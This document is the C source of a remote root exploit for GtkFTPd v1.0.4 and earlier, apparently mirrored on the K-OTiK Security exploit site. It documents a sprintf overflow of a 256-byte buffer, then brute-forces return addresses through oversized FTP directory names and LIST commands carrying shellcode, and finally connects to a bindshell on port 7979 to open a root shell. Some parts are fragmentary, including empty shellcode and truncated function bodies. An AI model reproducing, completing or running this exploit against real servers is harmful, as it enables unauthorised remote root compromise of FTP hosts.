GtkFTPd v1.0.4 Remote Root buffer overflow Exploit
                              * [ gtkftpd[v1.0.4(and below)]: remote root buffer overflow exploit. ]
                               * by: vade79/v9 v9 at (fakehalo/realhalo) 
                               * Url: 
                               * GtkFtpd, versions v1.0.4 and below(as of this time), contain a 
                               * remotely exploitable buffer overflow. the overflow occurs when 
                               * GtkFtpd allocates the appropriate amount of memory to hold a 
                               * filename or directory(256 bytes), but does not account for the 
                               * date/user/stat prefix(~40 bytes) it prepends to the buffer. 
                               * When exploited, things are made easier due to the fact that 
                               * GtkFtpd does not chroot() or drop its root privileges(as are 
                               * required to run the program itself) while running. And one step 
                               * more easier because when the buffer is overflown it is in a child 
                               * process, making it possible to brute force(not crash). 
                               * Requirements to exploit: 
                               * - A valid account. (user/pass, anonymous will do) 
                               * - A writable directory. (usually gtkftpd makes any dir writable) 
                               * Usage: 
                               * # cc xgtkftpd.c -o xgtkftpd 
                               * # ./xgtkftpd [-Psupcbanrd] -h hostname 
                               * *
                               * Exploit workings(ftp commands): 
                               * MKDIR  
                               * LIST - (where the overflow occurs) 
                               * The exploitable code itself is found in src/sys_cmd.c: 
                               * 12:#define BUF_SIZE 256 
                               * 21:char buf[BUF_SIZE]; 
                               * 57:sprintf(buf, "%s\t%s", perm_date_siz, entr->d_name); 
                               * Note: 
                               * Make sure the directory used to "LIST" does not already contain 
                               * any large filenames or directories, as the first overly long one 
                               * to list will cause the overflow. (which will fail the exploit) 
                               * *
                               * (should work out of the box on generic linux, tested on rh7.1. 
                               * squished, un-tab'd, un-space'd, exploit code; just how i like it.) 
                              /* default definitions, change at will. */
                              #define DFLUSER "anonymous" /* no argument, default username. */
                              #define DFLPASS "" /* no argument, default password. */
                              #define DFLDIR "/incoming" /* no argument, default +w directory. */
                              #define DFLCLM 80 /* default screen width to use. */
                              #define DFLADDR 0xbffffffa /* base brute address. */
                              #define TIMEOUT 10 /* connection timeout. */
                              static char x86_exec[]= /* bindshell(sport), modded from netric. */
                               /* port defined in byte 20, and 21; in a 'short' cast form. */
                              /* protos/functions. */
                              char *getdir(unsigned int);
                              char *getbdir(void);
                              char *getcode(void);
                              void filter_text(char *);
                              void ftp_printf(int,char *,...);
                              void ftp_clean(int);
                              void ftp_read(int);
                              void ftp_parse(int);
                              void ftp_connect(void);
                              void getshell(int,unsigned int);
                              void printe(char *,short);
                              void usage(char *);
                              void sig_ctrlc(){printe("user aborted.",1);}
                              void sig_alarm(){printe("alarm/timeout hit.",1);}
                              void sig_pipe(){printe("connection closed/failed.",1);}
                              /* globals. (ease of use throughout) */
                              unsigned short align=2; /* probably will never need to be otherwise. */
                              unsigned short port=21; /* generic ftp daemon port. */
                              unsigned short sport=7979; /* generic bindshell port. */
                              unsigned short reverse=0; /* go upward, instead of downward */
                              unsigned short no_io=0; /* do not show traffic. */
                              unsigned int attempts=100; /* number of times to brute. */
                              unsigned int columns=80; /* generic screen width. */
                              unsigned int ftp_i=0; /* Nth time read ftp socket. */
                              unsigned int baseaddr=DFLADDR; /* base address. (again) */
                              char *host; /* hostname/target, a must have. */
                              char *user; /* username to use. */
                              char *pass; /* password to use. */
                              char *writedir; /* need a writable directory. */
                              char *basedir; /* gets filled in later. */
                              /* program start. */
                              int main(int argc,char **argv){
                               int chr=0;
                               printf("[*] gtkftpd[v1.0.4(and below)]: remote root buffer overflow"
                               " exploit.\n[*] by: vade79/v9  (fakehalo)\n\n");
                               /* set the chomp point, filter long lines. */
                                 case 'h':
                                  if(!host&&!(host=(char *)strdup(optarg)))
                                   printe("main(): allocating memory failed.",1);
                                 case 'P':
                                 case 's':
                                 case 'u':
                                  if(!user&&!(user=(char *)strdup(optarg)))
                                   printe("main(): allocating memory failed.",1);
                                 case 'p':
                                  if(!pass&&!(pass=(char *)strdup(optarg)))
                                   printe("main(): allocating memory failed.",1);
                                 case 'c':
                                  if(!writedir&&!(writedir=(char *)strdup(optarg)))
                                   printe("main(): allocating memory failed.",1);
                                 case 'b':
                                 case 'a':
                                 case 'n':
                                 case 'r':
                                 case 'd':
                               /* fill in the blanks, or out of bounds. */
                                printf("[!] shell port defined contains null byte(s), using default.\n");
                                sport=7979; /* back to default. */
                               /* change the bindshell port. */
                               /* verbose. */
                               printf("[*] target: %s:%d, identity: %s:%s.\n[*] directory: %s, brute"
                               " start: 0x%.8x, alignment: %d.\n[*] memory direction: %s, attempts: "
                               "%d, bindshell port: %d.\n\n",host,port,user,pass,writedir,baseaddr,
                               signal(SIGINT,sig_ctrlc); /* explained/pretty exit. */
                               signal(SIGPIPE,sig_pipe); /* handle abnormal disconnects. */
                               ftp_connect(); /* do the magic, brute force. */
                               printe("brute force exhausted, failed.",0);
                              char *getdir(unsigned int offset){
                               unsigned int i=0;
                               char *buf;
                               /* 256 will fail; 255 or less. */
                               if(!(buf=(char *)malloc(255+1)))
                                printe("getdir(): allocating memory failed.",1);
                               if(!reverse)*(long *)&buf[i]=(baseaddr-offset);
                               else *(long *)&buf[i]=(baseaddr+offset);
                              char *getbdir(void){
                               char *buf;
                               time_t ttt;
                               struct tm *ttm;
                               if(!(buf=(char *)malloc(32+1)))
                                printe("getbdir(): allocating memory failed",1);
                              char *getcode(void){
                               char *buf;
                               if(!(buf=(char *)malloc(512+1)))
                                printe("getcode(): allocating memory failed",1);
                              void filter_text(char *ptr){
                               unsigned int i=0;
                                /* don't make \r or \n a '?'. */
                                else if(ptr[i]=='\r'||ptr[i]=='\n')ptr[i]=0x0;
                                /* don't ugly the local terminal. */
                                else if(!isprint(ptr[i]))ptr[i]='?';
                              void ftp_printf(int sock,char *fmt,...){
                               char *buf;
                               va_list ap;
                               if(!(buf=(char *)malloc(1024+1)))
                                printe("ftp_printf(): allocating memory failed.",1);
                               write(sock,buf,strlen(buf)); /* write it, then mod it for display. */
                                printf("-> %s\n",buf);
                              void ftp_clean(int sock){
                               ftp_printf(sock,"CWD ..\r\n");
                               ftp_printf(sock,"RMD %s\r\n",basedir);
                              void ftp_read(int sock){
                               char *buf;
                               if(!(buf=(char *)malloc(1024+1)))
                                printe("ftp_read(): allocating memory failed.",1);
                                printf("<- %s\n",buf);
                               /* some initial reply checking, not too much. */
                                 printe("this exploit is only for GtkFTPd, failed.",1);
                                 printe("invalid username/password, failed.",1);
                                 printe("invalid writable directory, failed. (try \"/\")",1);
                               ftp_i++; /* increase the response identifier. */
                              void ftp_parse(int sock){
                               unsigned int offset=0;
                               ftp_read(sock); /* get the banner. */
                               ftp_printf(sock,"USER %s\r\n",user);
                               ftp_printf(sock,"PASS %s\r\n",pass);
                               ftp_printf(sock,"CWD %s\r\n",writedir);
                               basedir=getbdir(); /* tmp dir of our own to use. */
                               ftp_printf(sock,"MKD %s\r\n",basedir);
                               ftp_printf(sock,"CWD %s\r\n",basedir);
                               while(offset<(attempts*400)){ /* if it hasn't yet, it's not going to. */
                                /* slight null-byte/CR check, only needs to check the last byte. */
                                 printf("[!] brute address contains null-byte/CR, increasing offset "
                                 "by one byte.\n");
                                 offset++; /* one byte off if reversed won't hurt here. (401) */
                                /* make the evil oversized directory. (255 or less bytes) */
                                ftp_printf(sock,"MKD %s\r\n",getdir(offset));
                                /* date+directory exceeds 256 byte buffer, the exploit. */
                                sleep(1); /* delay insurance. */
                                ftp_printf(sock,"LIST -%s\r\n",getcode());
                                /* nothing to read here, and gtkftpd processes (the exploit) */
                                /* before the ftp list connection is made, making it */
                                /* pointless to view the list. */
                                sleep(1); /* delay insurance, again, just to be sure. */
                                /* delete directory, multiples will cause failure(s). */
                                ftp_printf(sock,"RMD %s\r\n",getdir(offset));
                                offset+=400; /* always at least 400 nops in a row, in shellcode. */
                              void ftp_connect(void){
                               int sock;
                               struct hostent *t;
                               struct sockaddr_in s;
                                 printe("couldn't resolve hostname.",1);
                               printf("[*] attempting to connect: %s:%d.\n",host,port);
                               if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
                                printe("gtkftpd connection failed.",1);
                               printf("[*] connected successfully: %s:%d.\n",host,port);
                              void getshell(int ftpsock,unsigned int offset){
                               int sock,r;
                               fd_set fds;
                               char buf[4096+1];
                               struct hostent *he;
                               struct sockaddr_in sa;
                                printe("getshell(): socket() failed.",1);
                                 printe("getshell(): couldn't resolve.",1);
                                memcpy((char *)&sa.sin_addr,(char *)he->h_addr,sizeof(sa.sin_addr));
                               printf("[*] checking for bindshell: %s:%d. (0x%.8x)\n",host,sport,
                               if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
                                printf("[!] connection failed: %s:%d.\n",host,sport);
                                close(sock); /* don't want fd's to fill up. */
                               printf("[*] successfully connected: %s:%d.\n",host,sport);
                               printf("[*] attempting to cleanup leftover directory(s).\n");
                               printf("[*] entering remote shell. (%s:%d)\n\n",host,sport);
                               write(sock,"cd /;uname -a;id\n",18);
                                 printe("getshell(): select() failed.",1);
                                  printe("getshell(): read() failed.",1);
                                  printe("getshell(): write() failed.",1);
                              void printe(char *err,short e){
                               printf("[!] error: %s\n",err);
                              void usage(char *name){
                               printf(" usage: %s [options] -h hostname\n\n options:\n"
                               " -h \tdefines the target host/ip.\t(REQUIRED)\n"
                               " -P \tdefines the target port.\t(%d)\n"
                               " -s \tdefines the bindshell port.\t(%d)\n"
                               " -u \tdefines the username.\t\t(\"%s\")\n"
                               " -p \tdefines the password.\t\t(\"%s\")\n"
                               " -c \tdefines the writable directory.\t(\"%s\")\n"
                               " -b \tdefines the base brute address.\t(0x%.8x)\n"
                               " -a \tdefines the alignment.\t\t(%d)\n"
                               " -n \tdefines the number of attempts.\t(%d)\n"
                               " -r\t\tgo upward in memory, instead of downward.\n"
                               " -d\t\tdo not show verbose ftp in/out traffic.\n\n",


 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits